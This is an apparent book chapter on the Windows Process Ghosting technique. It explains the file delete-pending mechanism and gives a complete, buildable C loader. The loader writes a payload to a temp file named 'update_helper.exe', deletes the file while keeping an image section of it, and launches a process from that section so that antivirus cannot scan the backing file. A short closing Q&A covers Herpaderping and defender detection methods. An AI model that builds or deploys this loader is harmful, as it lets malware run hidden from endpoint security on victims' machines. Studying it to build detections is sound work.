Process Ghosting
Process Ghosting (discovered by Gabriel Landau of Elastic Security in 2021) achieves the same goal as doppelgänging — creating a process from a file that "doesn't exist" — but without using TxF at all. Instead of rolling back a transaction, it marks the file for deletion while the file is still open, then creates an image section from the open file handle before the deletion completes. Once the section exists, closing the file handle completes the deletion — the file disappears from disk. But the section still references the file's data (the kernel's memory manager keeps the file's physical pages alive as long as the section holds a reference). Creating a process from this section runs a payload that no longer exists on disk. This chapter explains the deletion-pending state mechanism, implements the technique, and covers current detection status.
File Deletion-Pending State — The Core Mechanism
Normal file deletion flow:
─────────────────────────────────────────────────────────────────────────
DeleteFile("evil.exe")
→ Windows checks: any open handles to this file?
→ If yes: ERROR_ACCESS_DENIED (can't delete open files on Windows by default)
→ If no: file is deleted from directory, inode freed, disk space reclaimed
Deletion-pending via NtSetInformationFile:
─────────────────────────────────────────────────────────────────────────
OpenFile("evil.exe") → hFile
NtSetInformationFile(hFile, FileDispositionInformation, {.DeleteFile=TRUE})
→ File is MARKED for deletion (FILE_FLAG_DELETE_ON_CLOSE behavior)
→ File is NOT immediately deleted
→ The file is in "delete-pending" state:
• NEW opens fail: ERROR_ACCESS_DENIED (Windows won't let you open
a file pending deletion)
• The existing handle (hFile) is still valid
• The file still exists on disk until all handles are closed
After NtSetInformationFile marks for deletion:
AV/EDR tries to open the file for scanning → FAILS (delete-pending)
AV cannot scan a file in delete-pending state
NtCreateSection(hFile, SEC_IMAGE) SUCCEEDS:
We hold the valid hFile handle
Section is created from the pending-deletion file
Section now holds a reference to the file's kernel object
CloseHandle(hFile):
Last handle to the file is closed
Deletion completes → file removed from directory
But: section's reference to the FILE OBJECT is still valid!
The file object stays alive in kernel memory (reference count > 0)
The physical pages containing the PE are still accessible via the section
NtCreateProcessEx(section):
Creates process from the now-deleted file's section
Process runs! File doesn't exist on disk anymore.Implementation
/* process_ghost.c — Process Ghosting implementation
Creates a file, marks it for deletion, creates image section before deletion,
closes file (deletion fires), creates process from the "ghost" section.
References:
"Process Ghosting: Putting Malware on a Diet" — Gabriel Landau, Elastic, 2021
https://www.elastic.co/blog/process-ghosting-a-new-executable-image-tampering-attack
STATUS: Works on Windows 10 20H2 and earlier builds.
Partially patched: Windows 11 22H2 added checks in NtCreateProcessEx
for files in delete-pending state. Check for STATUS_DELETE_PENDING.
Build:
x86_64-w64-mingw32-gcc -O2 -o ghost.exe process_ghost.c
*/
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
typedef LONG NTSTATUS;
#define NT_SUCCESS(s) ((NTSTATUS)(s) >= 0)
#define STATUS_DELETE_PENDING 0xC0000056
/* NtSetInformationFile */
typedef NTSTATUS (NTAPI *pNtSetInfoFile)(
HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, ULONG);
/* FileDispositionInformation = 13 */
/* NtCreateSection */
typedef NTSTATUS (NTAPI *pNtCreateSection)(
PHANDLE, ACCESS_MASK, PVOID, PLARGE_INTEGER, ULONG, ULONG, HANDLE);
/* NtCreateProcessEx */
typedef NTSTATUS (NTAPI *pNtCreateProcessEx)(
PHANDLE, ACCESS_MASK, PVOID, HANDLE, ULONG, HANDLE, HANDLE, HANDLE, ULONG);
/* NtCreateThreadEx — same as Ch33 */
typedef NTSTATUS (NTAPI *pNtCreateThreadEx)(
PHANDLE, ACCESS_MASK, PVOID, HANDLE, PVOID, PVOID,
ULONG, ULONG_PTR, SIZE_T, SIZE_T, PVOID);
/* NtQueryInformationProcess to get PEB address */
typedef NTSTATUS (NTAPI *pNtQueryInfoProcess)(
HANDLE, ULONG, PVOID, ULONG, PULONG);
typedef struct { PVOID Reserved[2]; PVOID PebBaseAddress; } MY_PROCESS_BASIC_INFO;
static BOOL ghost_inject(const char *temp_path, PBYTE payload, DWORD payload_size) {
HMODULE hNt = GetModuleHandleA("ntdll.dll");
pNtSetInfoFile NtSetInformationFile = (pNtSetInfoFile) GetProcAddress(hNt,"NtSetInformationFile");
pNtCreateSection NtCreateSection = (pNtCreateSection) GetProcAddress(hNt,"NtCreateSection");
pNtCreateProcessEx NtCreateProcessEx = (pNtCreateProcessEx)GetProcAddress(hNt,"NtCreateProcessEx");
pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx) GetProcAddress(hNt,"NtCreateThreadEx");
pNtQueryInfoProcess NtQueryInfoProcess= (pNtQueryInfoProcess)GetProcAddress(hNt,"NtQueryInformationProcess");
/* Step 1: Write payload to a temp file */
HANDLE hFile = CreateFileA(temp_path,
GENERIC_WRITE | GENERIC_READ | DELETE, /* DELETE access required for deletion */
0, /* no sharing — exclusive access */
NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] CreateFile(%s): %lu\n", temp_path, GetLastError());
return FALSE;
}
DWORD written = 0;
WriteFile(hFile, payload, payload_size, &written, NULL);
printf("[+] Payload written to %s (%lu bytes)\n", temp_path, written);
/* Step 2: Mark the file for deletion while keeping the handle open
This puts the file in FILE_FLAG_DELETE_ON_CLOSE state.
The file is still accessible through our hFile handle but:
- New CreateFile attempts to this path → ERROR_ACCESS_DENIED
- AV scanners can't open and scan the file (they try CreateFile)
- The file is scheduled to be deleted when hFile is closed
*/
struct { BOOLEAN DeleteFile; } disp_info = { TRUE };
IO_STATUS_BLOCK iosb = { 0 };
NTSTATUS status = NtSetInformationFile(
hFile, &iosb,
&disp_info,
sizeof(disp_info),
13 /* FileDispositionInformation */
);
if (!NT_SUCCESS(status)) {
printf("[-] NtSetInformationFile (mark delete): 0x%08lX\n", status);
CloseHandle(hFile);
DeleteFileA(temp_path);
return FALSE;
}
printf("[+] File marked for deletion\n");
/* Step 3: Create an image section from the file (while it's still "open")
SEC_IMAGE (0x1000000) causes Windows to treat the file as a PE image.
The section maps PE sections properly, applies protections per PE headers.
This succeeds because we still hold hFile and the file is still alive.
*/
HANDLE hSection = NULL;
status = NtCreateSection(
&hSection,
SECTION_ALL_ACCESS,
NULL, NULL,
PAGE_READONLY,
0x1000000, /* SEC_IMAGE */
hFile
);
if (!NT_SUCCESS(status)) {
printf("[-] NtCreateSection(SEC_IMAGE): 0x%08lX\n", status);
if (status == STATUS_DELETE_PENDING)
printf(" STATUS_DELETE_PENDING — Windows 11 22H2+ patch active\n");
CloseHandle(hFile);
return FALSE;
}
printf("[+] Image section created: %p\n", hSection);
/* Step 4: Close the file handle — this triggers the deferred deletion
The file is now DELETED from disk.
But hSection still holds a reference to the file's data in kernel memory.
The physical pages containing our PE are still alive (refcount > 0 via section).
*/
CloseHandle(hFile);
printf("[+] File handle closed — file deleted from disk\n");
printf(" Check: file should not exist: %s\n", temp_path);
printf(" GetFileAttributesA result: %lu (3=not found)\n",
GetFileAttributesA(temp_path)); /* should return INVALID_FILE_ATTRIBUTES */
/* Step 5: Create a process from the section
The process is now backed by a file that doesn't exist on disk.
The process's image path in the kernel's process object still records
the original path (temp_path), but the file is gone.
AV that tries to open the image file for scanning: file not found.
*/
HANDLE hProc = NULL;
status = NtCreateProcessEx(
&hProc,
PROCESS_ALL_ACCESS,
NULL,
GetCurrentProcess(),
0x4, /* PS_INHERIT_HANDLES */
hSection,
NULL, NULL, 0
);
CloseHandle(hSection);
if (!NT_SUCCESS(status)) {
printf("[-] NtCreateProcessEx: 0x%08lX\n", status);
return FALSE;
}
printf("[+] Ghost process created: %p\n", hProc);
/* Step 6: Set up process parameters and create main thread
This requires setting up RTL_USER_PROCESS_PARAMETERS in the new process,
which is what RtlCreateProcessParametersEx / NtCreateProcessEx normally
handles. For a minimal PoC, we create a thread at the PE entry point.
*/
/* Read the PE entry point from our payload */
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)payload;
PIMAGE_NT_HEADERS64 nt = (PIMAGE_NT_HEADERS64)(payload + dos->e_lfanew);
/* Get the image base in the new process by querying its PEB */
MY_PROCESS_BASIC_INFO pbi = { 0 };
NtQueryInfoProcess(hProc, 0, &pbi, sizeof(pbi), NULL);
PVOID remote_image_base = NULL;
ReadProcessMemory(hProc, (PBYTE)pbi.PebBaseAddress + 0x10,
&remote_image_base, sizeof(remote_image_base), NULL);
printf("[+] Ghost process image base: %p\n", remote_image_base);
PVOID entry_point = (PBYTE)remote_image_base + nt->OptionalHeader.AddressOfEntryPoint;
printf("[+] Entry point: %p\n", entry_point);
HANDLE hThread = NULL;
status = NtCreateThreadEx(
&hThread, THREAD_ALL_ACCESS, NULL,
hProc, entry_point, NULL,
0, 0, 0, 0, NULL
);
if (!NT_SUCCESS(status)) {
printf("[-] NtCreateThreadEx: 0x%08lX\n", status);
TerminateProcess(hProc, 1);
CloseHandle(hProc);
return FALSE;
}
printf("[+] Thread started in ghost process\n");
printf("[+] Process running — backing file does not exist on disk\n");
CloseHandle(hThread);
CloseHandle(hProc);
return TRUE;
}
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Usage: %s [payload.exe]\n", argv[0]);
return 1;
}
HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Cannot read payload: %s\n", argv[1]);
return 1;
}
DWORD size = GetFileSize(hFile, NULL);
PBYTE buf = (PBYTE)HeapAlloc(GetProcessHeap(), 0, size);
DWORD read = 0;
ReadFile(hFile, buf, size, &read, NULL);
CloseHandle(hFile);
/* Write to a temp location and ghost it */
char temp_path[MAX_PATH];
GetTempPathA(MAX_PATH, temp_path);
strcat_s(temp_path, MAX_PATH, "update_helper.exe");
BOOL result = ghost_inject(temp_path, buf, size);
HeapFree(GetProcessHeap(), 0, buf);
return result ? 0 : 1;
}
Questions & Answers
How does "Process Herpaderping" differ from Process Ghosting?
Process Herpaderping (discovered by Johnny Shaw, 2020 — predates Ghosting) overwrites the backing file after the section is created but before the process starts. The sequence: write malicious PE to file → create process from file (Windows creates the image section) → overwrite the file with decoy content (innocuous bytes like zeroes or a real legitimate exe) → resume the process thread. Now the file on disk contains decoy bytes, but the process is running from the original malicious content that was in the section before the overwrite. AV scans the file on disk (during or after process creation) and sees the decoy. Process Ghosting (2021) goes further — the file is completely deleted rather than overwritten, and the deletion happens during section creation via the delete-pending mechanism. Both techniques exploit the race window between disk state and in-memory section state. Ghosting is "cleaner" (no file artifact at all) while Herpaderping leaves a decoy file.
How can defenders detect Ghost processes if the file doesn't exist on disk?
Detection approaches: (1) Image path validation at process creation — Windows 11 22H2+ added kernel checks to prevent NtCreateProcessEx from succeeding when the backing file is in delete-pending state. This directly prevents ghosting. (2) Process memory vs disk comparison — security tools that try to access the process's image file via its image path and get "file not found" should flag this immediately. If a running process claims its image is C:\Temp\update_helper.exe but that file doesn't exist, that's highly anomalous. (3) NtCreateProcessEx + NtSetInformationFile(FileDispositionInformation) sequence — monitoring for FileDispositionInformation calls on executable files followed by section creation from the same handle is detectable by kernel-level EDRs. (4) Memory forensics — Volatility's process dump from a ghost process produces a valid PE in memory that can be submitted for analysis, bypassing the disk-absence issue.